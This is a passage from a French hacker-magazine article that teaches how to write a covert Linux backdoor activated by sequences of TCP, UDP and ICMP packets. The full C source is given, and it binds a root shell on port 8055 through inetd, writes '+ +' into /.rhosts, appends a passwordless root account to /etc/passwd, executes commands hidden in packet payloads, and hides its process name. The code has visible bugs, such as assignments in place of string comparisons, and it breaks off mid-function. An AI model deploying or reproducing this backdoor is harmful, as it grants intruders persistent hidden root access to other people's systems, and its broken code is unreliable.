n'innovent pas beaucoup dans le domaine). Neofox dans les issues #1 et #2 d'IOC magazine posait déjà les bases de la programmation de backdoors, je prends le relai et vous propose l'étude d'une backdoor avancée. [ Sommaire ] I. Description II. Programmation III. Code source IV. Conclusion I. Description : ________________ Il faut savoir qu'il existe un nombre conséquent de types de backdoors, des binaires trojanisés, timestamp backdoors, jusqu'aux kernel backdoors en passant par les library backdoors. Je vous passe les explications liées à toutes ces techniques de camouflage sur un serveur, mais sachez qu'on peut regrouper les backdoors dites "calssiques" en deux classes : les remote backdoors, et les local backdoors. Inutile de faire durer le suspens, cet article est liée à l'étude des network traffic backdoors, donc de type remote. Le principe est très simple, la majorité des backdoors en attente d'une connection affichent de façon continue un port ouvert en listening. Un simple scan de port de l'extérieur ou même de la machine attaquée suffit à déceler la présence d'un pirate. Notre backdoor, quant à elle, au lieu d'écouter un port perpétuellement en attente de binding de shell, s'activera sur la réception d'une certaine séquence de paquets. Pour cela, il nous faut exploiter les différents protocoles régissant le réseau actuel, à savoir UDP(17), TCP(6), ICMP(1). Le protocole UDP est parfait dans le cadre de notre séquencement de paquet, il possède d'une structure générique extrèmement simple, de plus les paquets UDP, sur un local, sont très nombreux à circuler, ainsi il sera plus difficile de détecter notre présence. De plus beaucoup de firewalls laissent entrer par défaut des paquets UDP à travers un réseau, comme les services DNS. Le protocole ICMP est lui aussi fiable, du fait que son utilisation réside dans le ressencement de machines à travers un réseau, ainsi, là encore beaucoup de firewalls laissent les systèmes se faire pinger ouvertement ! Et enfin, le protocole TCP, le plus bruyant de tous, mais aussi le plus complexe de par sa très riche structure en champs (cf datagramme TCP) nous permettra d'utiliser un grand nombre de combinaisons différentes dans la création du message d'activation de la backdoor. [ Communication avec la backdoor ] Le concept est simple : le pirate communique avec la backdoor placée sur le système dont il a perdu l'accès, avec comme passerelle un quelconque réseau (internet, intranet), et comme support une série de messages pré- -définis lors de l'installation de celle-ci. Les messages se présentent sous la forme de paquets tcp/udp/icmp ordonnés selon un odre bien précis. Nous mettrons en place trois méthodes d'authentification et communication : o La première réside sur un séquencement de paquets. Il y a deux types de messages : les messages d'activation et de fermeture. Ainsi, imaginons que le pirate construise son message avec respectivement: trois paquets udp, un paquet tcp, deux paquets icmp, la machine ciblée recevant ses paquets dans l'ordre respectif, la backdoor présente bindera alors un shell, dans le cas contraire, si l'ordre est incorrect, le message est reinitialisé à 0 pour attente d'une nouvelle tentative de connexion. Notez que la furtivité de la backdoor repose sur la patience du pirate, plus le temps écoulé entre chaque paquet sera long et plus les chances de l'administrateur de détecter notre petit programme seront minces. Mais un problème majeur se présente : par défaut un grand nombre de paquets circulent sur le réseau, et notre message d'activation pourra se voir corrompu par des paquets envoyés à la machine ciblée entre les différents paquets que nous enverrons. Ainsi, le temps écoulé entre chaque envoi devra être choisi avec soin en fonction du type de réseau, du type de serveur, du type de traffic et de l'heure. Vous l'avez compris, les paquets icmp ou udp dans le cas d'un serveur web seront plus fiables car plus rares que leurs homologues tcp. o La seconde nécéssite l'utilisation de paquets "mal-formés" ou dits rares. En effet, certains champs des protocoles ip/tcp/udp/icmp sont souvent inutilisés ou peuvent prendre des valeurs originales. Je pense au protocole IP, qui actuellement est utilisé sous la mouture IPV4, la version de l'ip est définie via le champ ip->version, ainsi en lui assignant la version 6, nous obtenons un paquet informe (la version 6 du protocole IP ne correspond pas à l'header de la version 4), ou encore certains codes de messages icmp comme le code 3 (destination unreachable) utilisé dans le cadre d'un ping, ou encore le code 30 caractérisant le tracerouting. Notez que la machine ciblée doit prendre charge l'IPv6, sans cela, machine peut planter. o La troisième et dernière se base sur l'analyse des champs d'adressage IP source et destination du datagramme IP. Au début du code de la backdoors des constantes sont déclarées, lors de la boucle de réception des paquets, si un quelconque paquet présente une IP source correspondant à la constante déclarée, alors la backdoor s'active selon les options préalablement définies. Seuls les protocoles ICMP et UDP sont pris en considération par cette technique. [ UDP/ICMP GRABBING - BLIND ACTIVITY ] L'accès à certains systèmes est souvent gardé par des firewalls, qu'ils soient configurés de façon honorable ou non n'est pas de notre ressort, mais la majorité des pares-feu dropperons les paquets tcp envoyés non autorisés. Ainsi, via la méthode de séquencement udp/icmp, nous pourrons nous garentir l'activation de la trappe, mais il se peut qu'un firewall présente des réticences quand à l'intégrité des commandes que nous enverrons au shell. Il nous faut donc trouver un moyen d'envoyer les commandes de manière parfaitement invisible. Ceci se fait très simplement en utilisant des techniques d'udp/icmp grabbing. Le principe est simple, comme expliqué précedemment, beaucoup de firewalls n'empèchent pas la réception des paquets udp et icmp, il nous suffit alors d'insérer nos commandes dans le champ data de chacun des datagrammes, on encapsule le tout et on envoie ! La communication se fait donc à travers un tunnel que nous créons. Je n'ai pas particulièrement travaillé ce mode, ainsi deux problèmes majeurs se présentent : Aucun algorithme de chiffrement des données (nos commandes) n'est utilisé, l'administrateur réseau peut alors très facilement déceler notre activité, et en deuxième lieu la communication ne se fait que dans un sens, ainsi seules des commandes telles que insmod, rmmod, kill, rm, sed, echo..etc peuvent être utilisés le flux de sortie ne pouvant être lu (un ls serait futile vu que la sortie ne s'afficherait pas sur notre écran), d'ou le nom "activité à l'aveuglette". [ Activité de la backdoor ] Ayant authentifié le pirate désireux de s'approprier le système de la victime, la backdoor s'active. Il faut comprendre par là qu'avant de laisser la main au pirate via un shell qu'elle bind sur le port 8055 (!), elle éxécute quelques fonctions qui permettent de laisser une porte ouverte de façon continue sur le système (si le pirate l'a spécifié lors de l'éxécution de la trappe sur le système ciblée). Ainsi, après le séquencement de paquets reçu sans encombre, la backdoor est programmée pour éxécuter l'équivalent des commandes suivantes : # echo 8055 stream tcp nowait root /bin/sh sh >> /tmp/.ind # echo + + >> /.rhosts # echo $user::0:0:$user:/root:/bash >> /etc/passwd Notez que l'ensemble des commandes est éxécuté si le pirate le spécifie, il peut par exemple choisir de n'éxécuter que le dernier echo. Ainsi, 3 portes sont ouvertes sur le système, un accès root sur le 8055, un accès root rsh/rlogin, un compte root permanent. Enfin lors de la fermeture de la backdoor (commandée par la récéption d'un message de fermeture), la backdoor sur ordre du pirate peut effacer quelques unes de ses traces (notez que je n'ai pas travaillé l'étape de clean logging, c'està vous d'effacer vos traces dans certains logs), l'équivalent des commandes suivantes sont éxécutées : # rm -f /tmp/.ind # rm -f /.rhosts # cat /etc/passwd | grep -v $user > /etc/passwd Ces trois commandes, permettent de détruire les fichiers sensibles permettant à un quelconque autre individu de pénétrer le système que nous avons rooté sans permission, et de manière générale, de détecter la présence d'un pirate sur ce système. [ Sécuriser un système ] Les diverses techniques liées à la sécurité des systèmes contre les trappes ne sont pas le sujet de cette article, et je vais me contenter ici de donner quelques idées. Tout d'abord, actuellement beaucoup de lkms sont en vogue sur le réseau des réseaux, il est donc important de se protéger efficacement contre ce type de backdoor. C'est un sujet très complexe de par le nombre conséquents de techniques de détections possibles. Beaucoup de lkm détournent des syscalls liées au système de fichier (Filesystem) comme query_module/getdents/write/open pour se cacher aux yeux de certaines commandes comme ps, lsmod, rmmod, kstat, cat, ls... Ainsi, sans le nom exact du module chargée en mémoire ou des connaissances pointues de son système, ce genre de backdoor resteront indétectables à long terme. Sachez tout de même que la majorité des lkm ne détournent pas l'ensemble des appels systèmes liées à l'analyse d'un système de fichiers voici quelques commandes intéréssantes : ¤ # lsmod /* pour afficher la liste des modules chargées */ ¤ # grep /proc/modules /* cherche le module */ ¤ # ls -l /lib/modules/ /* affiche les modules chargées par défaut à chaque boot */ ¤ # cat /proc/modules /* analyse /proc/modules */ ¤ # ps -aux /* pour afficher la liste des processus */ ¤ # kstat -s/-m /* liste les modules, adresses des syscalls et processus de /dev/kmem/ */ ¤ # rmmod /* supprime le module entré en argument */ Nous n'étudierons pas le fonctionnement de chacune de ces commandes, retenez juste que des modules détournent des appels systèmes comme SYS_GETDENTS (pour masquer la présence d'un fichier dans un répertoire), SYS_WRITE (pour manipuler les flux de sorties et les résultats affichés à l'écran), SYS_OPEN (pour masquer le contenu d'un fichier en retournant des erreurs par exemple), SYS_QUERYMODULE (détourne lsmod et rmmod) ou encore SYS_EXECVE (redirige alors l'éxécution d'un fichier), SYS_SOCKETCALL (manipulation de sockets, essentiel pour la programmation d'une backdoor). Dans le cas de backdoors classiques comme celle que nous allons programmer, la protection d'un système ne se limite pas à l'éxécution de quelques commandes types, mais à l'implémentation de systèmes ids/hids (snort) efficaces, à la surveillance du réseau et à la vigilance de l'administrateur. Il est alors conseillé de commuter le réseau pour éviter à un éventuel pirate ayant gagné l'accès sur votre machine de mettre main basse sur votre réseau entier. La mise en place d'un firewall bien configuré "droppant" les pings est particulièrement recommandé. Notre backdoor sniffera les paquets entrant et sortant en mode promiscuous (voir article sniffing), ainsi, un simple antisniff vous suffira de la déceler. N'oubliez pas de vérifier constamment la liste des process, vos logs (wtmp, utmp, lastlog, xferlog, maillog, mail, httpd.error_log,n http.acces_log...etc) ainsi que des fichiers régissant l'accès à votre machine (rhosts, /etc/passwd...). II. Programmation : ___________________ Nous touchons enfin à la partie ludique de cette article : la programmation d'une network traffic backdoor polyvalente. Comme les fois précédentes, nous étudierons successivement les différentes fonctions du code source, avec si nécéssaire quelques élargissements. Voici venu le temps de vous présenter la backdoor dans son intégralité, et, comme lsniff elle présente différents modes de fonctionnement : -h : password de protection -i : echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind -r : echo + + >> /.rhosts -p : echo user::0:0:user:/root:/bash >> /etc/passwd -c : code d'activation de la backdoor (type integer) Remarque: udp = 2; tcp = 0; tcp = 1 -f : mode informe, utilise paquets informes pour communiquer avec le serveur -d : mode d'adressage ip, ip définie lors de la compilation -a : mode AF, envoi des commandes à travers des paquets udp/icmp -h : cet argument précède le mot de passe défini lors de la compilation, si ce mot de passe est invalide, ou l'argument manquant, la backdoor se fermera. -i : glisse la ligne "5002 stream tcp nowait root /bin/sh sh" dans tmp/.ind pour permettre un accès root sur le port 8005. -r: crée un fichier .rhost ++, accès root rsh/rlogin -p : crée un compte root sans password avec pour nom -c : code d'activation de la backdoor (voir algorithme) -f : mode informe, la backdoor s'active sur récéption de paquets rares (ex: ip->version = 6) -d : mode d'adressage ip, la backdoor s'active sur réception d'un paquet udp/icmp avec pour ip->saddr l'ip définie lors de la compilation -a : mode anti-firewall, les commandes ne sont pas directement envoyées sur le shell bindé sur le 8005 mais encapsulées dans le champs data de paquets udp/icmp puis éxécutées par la backdoor. Passons à la programmation brute de la trappe, le code source est assez long, très difficile à lire car j'ai essayé de le présenter le plus explicit possible, ainsi, certaines fonctions se répètent et les variables ont des noms assez longs. Pour les structures telles que rcvpacket, ip, tcp, udp, icmp se réfèrer à mon article Advanced sniffing. [ Point d'entrée ] Notre fonction main, à l'habitude je crée une boucle qui switch les différents arguments pour déterminer les différents modes choisies, la clé d'activation, le password... Les variables inetd, rsh, pass, informe, ip_mode, protected_mode sont de type integer mais jouent le rôle de booleans, par défaut elles prennent la valeur 0 (false), puis sélectionnés par le pirate elles valent 1(true). La variable inetd représente l'argument -i, rsh -r, pass -p, informe -f, ip_mode -d, protected_mode -a. int main(int argc, char *argv[]) { /* Déclaration des variables */ int inetd=0, rsh=0, pass=0, informe = 0, ip_mode = 0, protected_mode = 0; /* cle = clé d'activation de la backdoor (voir plus bas) */ /* passv = nom d'user pour le mode -p */ /* endvalue = clé de fermeture */ char *cle, *passv, *endvalue; /* Allocation dynamique de mémoire pour éviter les segfaults */ cle = (char *)malloc(1024); passv = (char *)malloc(1024); endvalue = (char *)malloc(1024); /* Valeurs par défaut */ endvalue = "22"; passv = "user"; cle = "21"; /* Vérification du password, si invalide on quitte */ if((strcmp(PWD, getpass("password: "))) != 0) return 0; if (argc < 3){ /* si argument < 3 alors on affiche l'aide et on quitte */ usage(); } else { /* Boucle de lecture des différents arguments (old way) */ while((argc>1)&&(argv[1][0]=='-')) { switch(argv[1][1]) { /* Switch des arguments (voir plus haut les correspondances) */ case 'i': inetd = 1; break; case 'r': rsh = 1; break; case 'p': pass = 1; passv = &argv[1][2]; break; case 'c': cle = &argv[1][2]; break; case 'e': endvalue = &argv[1][2]; break; case 'f': informe = 1; break; case 'd': ip_mode = 1; break; case 'a': protected_mode = 1; break; } --argc; ++argv; } } /* Si le mode d'adressage ip a été choisie alors on call waiting_ip */ if (ip_mode == 1){ waiting_ip(inetd, rsh, pass, protected_mode, passv); } else { /* Sinon death_looping (pour mode informe, ou mode normal) death_looping(inetd, rsh, pass, informe, protected_mode, cle, passv, endvalue); } return 0; } [ death_looping ] Cette fonction est construite autour d'une boucle de lecture des différents paquets que la carte réseau passée en mode promiscous reçoit. Cette fonction est appelée dans un mode normal ou informe. Nous allons maintenant (enfin !) parler de la clé d'activation (mode normal). Le pirate la défini lors du lancement de la trappe sur le système ciblée sous forme d'integer, trois chiffres sont permis 0, 1, 2. La réception d'un paquet ICMP correspond à la valeur 0, un paquet TCP à la valeur 1 et un paquet UDP à la valeur 2. A chaque réception de paquet, on vérifie le mode choisi, si mode d'adressage ip, on vérifie l'IP destinataire, si mode normal, si la clé de valeurs cumulées correspond à la clé d'activation, int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue) { int i; /* voir article advanced sniffing */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); /* allocation dynamique de mémoire */ mes = (char *)malloc(1024); daddr = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); /* mise en mode promiscous de la carte réseau */ sockfd = ouvre_interface("eth0"); /* bouble de réception des paquets */ while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* si protocole = ICMP */ if((ip->protocol) == 1){ /* si icmp -> type = host unreachable et mode informe choisie */ if ((icmp->type == 3) && (informe == 1)){ /* on ferme la trappe */ close_door(inetd, rsh, pass, passv); } else { /* Sinon on rajoute la valeur correspondant au paquet icmp (0) à la suite de la clé de chiffres cumulés */ strcat(mes,"0"); /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore */ memset(mes, 0, 1024); } } } /* si protocole = TCP */ if((ip->protocol) == 6){ /* si ip->version = IPv6 et mode informe choisie */ if((ip->version == 6) && (informe == 1)){ /* on ouvre la trappe */ open_door(inetd, rsh, pass, protected_mode, passv); } else { /* Sinon on rajoute la valeur correspondant au paquet tcp(1) à la suite de la clé de chiffres cumulés */ strcat(mes,"1"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore */ memset(mes, 0, 1024); } } } /* si protocole = UDP */ if((ip->protocol) == 17){ /* on rajoute la valeur correspondant au paquet udp (2) a la suite de la clé de chiffres cumulés */ strcat(mes,"2"); /* Si la clé est valide, on active la backdoor puis on reset la clé de chiffres cumulés */ if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); /* sinon on reset juste la clé de chiffre cumulés (ccc) */ } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } /* si la ccc est égale à la clé de fermeture alors on ferme la trappe et on reset la ccc */ if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && (mes != endvalue)) { /* sinon, on ignore (on reset mes) */ memset(mes, 0, 1024); } } } return 0; } [ Waiting_ip ] A l'instar de death_looping, cette fonction s'articule autour d'une boucle principale de capture des paquets reçus. Cette fonction est appelée avec le mode d'adressage ip, qui rappelons le, active la backdoor sur réceptions de paquets caractérisés par le champs IP destination address correspondant à l'IP défini dans le code source. Nous allons, pour comparer la constante IP et le champs ip->daddr (unsigned char), crée une fonction "make_ip" (voir plus bas) qui transforme ip->daddr en adresse IP conventionelle. int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){ int i; char *net_ip; /* char qui contiendra l'adresse IP ip->daddr transformée */ unsigned char *d; /* contiendra ip->daddr */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); /* Allocation dynamique de mémoire */ net_ip = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); /* mise en mode promiscuous de la carte réseau */ sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* si protocole = UDP */ if(ip->protocol == 17){ /* transformation de ip->daddr en ip conventionelle */ net_ip = make_ip(d); if(net_ip = DADDR) /* Ouverture de la backdoor */ open_door(inetd, rsh, pass, protected_mode, passv); } /* si protocole = ICMP */ if(ip->protocol == 1){ /* transformation de ip->daddr en ip conventionelle */ net_ip = make_ip(d); if(net_ip = DADDR) /* Fermeture de la backdoor */ close_door(inetd, rsh, pass, passv); } } return 0; } [ Protected mode ] Cette fonction correspond à l'argument -p (anti-firewall mode) qui exécute les commandes insérés dans les champs data des headers udp/icmp. int protected_com(int inetd, int rsh, int pass, char *passv){ int i, datal; /* datal = sizeof(udp->data) */ unsigned char *d; char *donnees; /* Pour notre champ data */ ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; /* Si protocole = UDP */ if (ip->protocol == 17){ /* calcule de la longueur du champ data de l'header UDP */ datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); /* le ptr données pointe sur l'adresse du champ udp->data */ donnees = (char *)(((unsigned long)buffer.data)-2); /* lecture des données */ for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); /* fermeture ? /* if(donnees = "end:connection"){ close_door(inetd, rsh, pass, passv); } else { /* si non, exécution de la commande */ system(donnees); } } /* Si protocole = ICMP */ if (ip->protocol == 1){ /* calcule de la longueur du champ data de l'header ICMP */ datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); /* le ptr données pointe sur l'adresse du champ icmp->data */ donnees = (char *)(((unsigned long)buffer.data)-2); /* lecture des données */ for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); /* exécution de la commande */ system(donnees); } } return 0; } [ Open_door ] Une fois l'authentification du pirate effectuée par la backdoor, celle-ci s'active en lançant une série de commandes définies lors de sa mise en place sur le serveur. Cette fonction est calquée sur celle de cdoor.c de fx (phenoelit), on fork deux processus pour éviter les processus inet zombis. void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) { FILE *f; char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; char *command; command = (char *)malloc(1204); /* switch de deux forks successifs pour éviter les inetd zombis */ switch (fork()) { case -1: return; case 0: switch (fork()) { case -1: _exit(0); case 0: break; default: _exit(0); } break; default: wait(NULL); return; } /* si argument -i entré, création d'un fichier tmp/.ind */ if (inetd == 1){ if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n"); execv("/usr/sbin/inetd",args); fclose(f); } /* si argument -r entré, création d'un fichier /.rhosts */ if (rsh == 1){ sprintf(command, "echo + + >> /.rhosts"); system(command); } /* si argument -p entré, création d'un nouveau compte root */ if (pass == 1){ if ((f=fopen("/etc/passwd","a+t"))==NULL) return; fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv); fclose(f); } /* si argument -a entré, alors on lance le mode protégé */ if(protected_mode == 1) protected_com(inetd, rsh, pass, passv); exit(0); } [ close_door ] En cas de réception d'un code de fermeture, la backdoor appelle la fonction "close_door", celle-ci avant de fermer complétement la trappe s'assure d'effaçer partiellement ses traces, selon les arguments entrés. void close_door(int inetd, int rsh, int pass, char *passv){ char *command; /* allocation dynamique de mémoire */ command = (char *)malloc(1024); /* si argument -i entré, on détruit /tmp/.ind */ if (inetd == 1){ command = "rm -f /tmp/.ind"; system(command); } /* si argument -r entré, on détruit /.rhosts */ if (rsh == 1){ command = "rm -f /.rhosts"; system(command); } /* si argument -p entré, on détruit le compte root dans /etc/passwd */ if (pass == 1){ sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv); system(command); } exit (1); } [ make_ip ] Cette fonction est indispensable au mode d'adressage ip, elle permet en effet de construire à partir du champ IP destination adress, une adresse IP conventionelle (unsigned char *)(ex: x.x.x.x). char *make_ip(unsigned char *d){ char *dest_addr; /* contient notre IP conventionelle */ dest_addr = (char *)malloc(4096); /* création de l'IP conventionelle */ sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]); return dest_addr; } [ Extras... ] Dans un souci de furtivité, il se peut que vous désireriez masquer le processus de votre backdoor, il suffit de placer une quelconque chaine de caractère dans la valeur de l'argument 0. Mais attention, avant toute chose il vous faut sauvegarder les arguments, car cette fonction reset toutes les valeurs, je vous conseille alors de stocker les valeurs initiales dans des variables, d'éxécuter la fonction, puis de restorer les valeurs stockées dans lesdites variables. void hide_aux(int argc, char *argv[]){ int i; /* on reset tous nos arguments */ for(i=argc-1; i >= 0; i--) memset(argv[i],0, strlen(argv[i])); /* masquage du processus */ strcpy(argv[0], P_HIDE); } III. Code source : __________________ /******************************************/ /* Ltrapedoor By Li0n7 */ /* contactez-moi: Li0n7@voila.fr */ /* http://www.ioc.fr.st */ /* http://l7l.linux-fan.com */ /* Network traffic backdoor */ /* Copyright Li0n7 - Tous droits réservés */ /******************************************/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PWD "31337" #define DADDR "192.148.0.5" struct iphdr *ip; struct tcphdr *tcp; struct udphdr *udp; struct icmphdr *icmp; char buf[1792], *mes, *daddr; int sockfd; unsigned char *d; struct recvpaquet { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; struct icmphdr icmp; struct udphdr udp; char data[8000]; } buffer; int size; void usage(void){ printf("\n >> Ltrapedoor by Li0n7 \n\n"); printf(" ..: lil' Options :.. \n\n"); printf(" -h<#defined pass>: must be set as first argument\n"); printf(" -i: echo 8005 stream tcp nowait root /bin/sh sh >> tmp/.ind\n"); printf(" -r: echo + + >> /.rhosts\n"); printf(" -p: echo user::0:0:user:/root:/bash >> /etc/passwd\n"); printf(" -c: backdoor activation key (integer type)\n Notice that: udp = 2; tcp = 0; tcp = 1 \n"); printf(" -f: weird mode, uses weird packets\n to communicate with the server \n"); printf(" -d: ip addressing mode, define ip->saddr while compiling\n"); printf(" -a: sends commands into udp/icmp packets\n (against firewalls)\n"); exit(0); } char *make_ip(unsigned char *d){ char *dest_addr; dest_addr = (char *)malloc(4096); sprintf(dest_addr, "%u.%u.%u.%u", d[0], d[1], d[2], d[3]); return dest_addr; } int ouvre_interface(char *name) { struct sockaddr addr; struct ifreq ifr; int sockfd; sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(sockfd<0) return -1; memset(&addr, 0, sizeof(addr)); addr.sa_family=AF_INET; strncpy(addr.sa_data, name, sizeof(addr.sa_data)); if(bind(sockfd, &addr, sizeof(addr)) !=0 ){ close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){ close(sockfd); return -1; } if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { close(sockfd); return -1; } memset(&ifr,0,sizeof(ifr)); strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0) { close(sockfd); return -1; } ifr.ifr_flags |= IFF_PROMISC; if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) { close(sockfd); return -1; } return sockfd; } void close_door(int inetd, int rsh, int pass, char *passv){ char *command; command = (char *)malloc(1024); if (inetd == 1){ command = "rm -f /tmp/.ind"; system(command); } if (rsh == 1){ command = "rm -f /.rhosts"; system(command); } if (pass == 1){ sprintf(command, "cat /etc/passwd | grep -v %s > /etc/passwd", passv); system(command); } exit (1); } void open_door(int inetd, int rsh, int pass, int protected_mode, char *passv) { FILE *f; char *args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL}; char *command; command = (char *)malloc(1204); switch (fork()) { case -1: return; case 0: switch (fork()) { case -1: _exit(0); case 0: break; default: _exit(0); } break; default: wait(NULL); return; } if (inetd == 1){ if ((f=fopen("/tmp/.ind","a+t"))==NULL) return; fprintf(f,"8055 stream tcp nowait root /bin/sh sh\n"); execv("/usr/sbin/inetd",args); fclose(f); } if (rsh == 1){ sprintf(command, "echo + + >> /.rhosts"); system(command); } if (pass == 1){ if ((f=fopen("/etc/passwd","a+t"))==NULL) return; fprintf(f,"%s::0:0:%s:/root:/bash\n", passv, passv); fclose(f); } if(protected_mode == 1) protected_com(inetd, rsh, pass, passv); exit(0); } int protected_com(int inetd, int rsh, int pass, char *passv){ int i, datal; unsigned char *d; char *donnees; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if (ip->protocol == 17){ datal = size - 2 - (sizeof(struct udphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); if(donnees = "end:connection"){ close_door(inetd, rsh, pass, passv); } else { system(donnees); } } if (ip->protocol == 1){ datal = size - 2 - (sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof (struct ether_header)); donnees = (char *)(((unsigned long)buffer.data)-2); for(i=0; i <= datal; i++) strcat(donnees, donnees[i]); system(donnees); } } return 0; } int waiting_ip(int inetd, int rsh, int pass, int protected_mode, char *passv){ int i; char *net_ip; unsigned char *d; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); net_ip = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if(ip->protocol == 17){ net_ip = make_ip(d); if(net_ip = DADDR) open_door(inetd, rsh, pass, protected_mode, passv); } if(ip->protocol == 6){ net_ip = make_ip(d); if(net_ip = DADDR) close_door(inetd, rsh, pass, passv); } } return 0; } int death_looping(int inetd, int rsh, int pass, int informe, int protected_mode, char *cle, char *passv, char *endvalue) { int i; ip = (struct iphdr *)(((unsigned long)&buffer.ip)-2); tcp = (struct tcphdr *)(((unsigned long)&buffer.tcp)-2); icmp = (struct icmphdr *)(((unsigned long)&buffer.icmp)-2); udp = (struct udphdr *)(((unsigned long)&buffer.udp)-2); mes = (char *)malloc(1024); daddr = (char *)malloc(1024); d = (unsigned char *)&(ip->daddr); sockfd = ouvre_interface("eth0"); while(1){ size = read(sockfd, (struct recvpaquet *)&buffer, sizeof(struct recvpaquet)); if(size<0) return -1; if (size < sizeof(struct ether_header)) continue; if((ip->protocol) == 1){ if ((icmp->type == 3) && (informe == 1)){ close_door(inetd, rsh, pass, passv); } else { strcat(mes,"0"); if (((strlen(mes)) == (strlen(cle))) && (mes = cle)){ open_door(inetd, rsh, pass, protected_mode, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(cle))) && (mes != cle)) { memset(mes, 0, 1024); } if (((strlen(mes)) == (strlen(endvalue))) && (mes = endvalue)){ close_door(inetd, rsh, pass, passv); memset(mes, 0, 1024); } else if (((strlen(mes)) == (strlen(endvalue))) && 